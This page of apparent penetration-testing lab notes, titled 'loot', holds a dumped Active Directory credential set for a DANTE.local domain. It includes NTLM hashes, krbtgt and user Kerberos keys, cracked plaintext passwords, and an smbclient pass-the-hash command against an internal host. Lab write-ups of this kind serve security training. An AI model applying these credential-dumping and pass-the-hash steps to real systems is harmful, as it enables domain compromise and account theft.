Malleum Knowledge Base

loot

1 min read

Loot

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9bff06fe611486579fb74037890fda96:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:49e6f37ede481d09747f6a0c9abcbaa7:::
DANTE.local\SelfHealUser:1001:aad3b435b51404eeaad3b435b51404ee:236a174dfe9cf1f702ae493d934fb70e:::
DANTE.local\katwamba:1002:aad3b435b51404eeaad3b435b51404ee:14a71f9e65448d83e8c63d46355837c3:::
mrb3n:2104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
DANTE.local\xadmin:7104:aad3b435b51404eeaad3b435b51404ee:649f65073a6672a9898cb4eb61f9684a:::
DANTE-DC01$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MediaAdmin$:1117:aad3b435b51404eeaad3b435b51404ee:264416ba5108ca19961204f6a1c97c66:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:1e16c72322ec508e1c1312b472a615a43759fe6a97fe4644a427821c7806dd01
krbtgt:aes128-cts-hmac-sha1-96:42f40cdeb3c715570710371922f5d997
krbtgt:des-cbc-md5:02fba8ba0de3f157
DANTE.local\SelfHealUser:aes256-cts-hmac-sha1-96:284ab155434058eac6064e31ba928f90bbdb1afa8387b8632c13e5f53604e33b
DANTE.local\SelfHealUser:aes128-cts-hmac-sha1-96:c72c0b84eb7e2b7a386ab23d3265c680
DANTE.local\SelfHealUser:des-cbc-md5:5d8cbfe67ae3f20d
DANTE.local\katwamba:aes256-cts-hmac-sha1-96:7dba6bec2703807ffe586e927a3e1c7ea7a610bc025d29c5db2656b1a6be437b
DANTE.local\katwamba:aes128-cts-hmac-sha1-96:38f3e73169b94345c72b257294949518
DANTE.local\katwamba:des-cbc-md5:a2765161d04c8301
mrb3n:aes256-cts-hmac-sha1-96:c7dc1b6a6c05c8b01566cf039484a74c094580b740f36a95d117705b66698649
mrb3n:aes128-cts-hmac-sha1-96:56c18f870282cb50fbe28cc6fc9321aa
mrb3n:des-cbc-md5:b3da68b0d67ac8df
DANTE.local\xadmin:aes256-cts-hmac-sha1-96:964ceb40ec542d105c3a60ec9a8fff1eddae78a86a659eabe11a76f5c525a651
DANTE.local\xadmin:aes128-cts-hmac-sha1-96:b14d3dc24903c71f63a98acd6301dd7d
DANTE.local\xadmin:des-cbc-md5:f8ae31d0a76891a1
DANTE-DC01$:aes256-cts-hmac-sha1-96:7abe45ab2fea451bceb7cc59fa49a5ed501a29d092d2353f10c6a19507098ca4
DANTE-DC01$:aes128-cts-hmac-sha1-96:8c4d2b3e093a04f5582aa371f677fcd5
DANTE-DC01$:des-cbc-md5:3bf18301b6a48079
MediaAdmin$:aes256-cts-hmac-sha1-96:7045ce2365c676bad030d30623b522564422c29570051df5650e9443ba9cede0
MediaAdmin$:aes128-cts-hmac-sha1-96:3516866bf839cd916a44ec4538741790
MediaAdmin$:des-cbc-md5:676823ea0bcd2a67
[*] Cleaning up...
Important loot I guess
 
 
DANTE.local\SelfHealUser:1001:aad3b435b51404eeaad3b435b51404ee:236a174dfe9cf1f702ae493d934fb70e:::
 
 
DANTE.local\katwamba:1002:aad3b435b51404eeaad3b435b51404ee:14a71f9e65448d83e8c63d46355837c3:::
 
 
mrb3n:2104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
 
DANTE.local\xadmin:7104:aad3b435b51404eeaad3b435b51404ee:649f65073a6672a9898cb4eb61f9684a:::
 
DANTE-DC01$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Cracking the Hash

Administrator:Password12345
mrb3n:Welcome1
DANTE.local\xadmin:Peacemaker!
DANTE.local\SelfHealUser:236a174dfe9cf1f702ae493d934fb70e
DANTE.local\katwamba:14a71f9e65448d83e8c63d46355837c3

Enumerating shares

./smbclient.py 'DANTE.local/katwamba@172.16.1.20' -hashes aad3b435b51404eeaad3b435b51404ee:14a71f9e65448d83e8c63d46355837c3

Graph View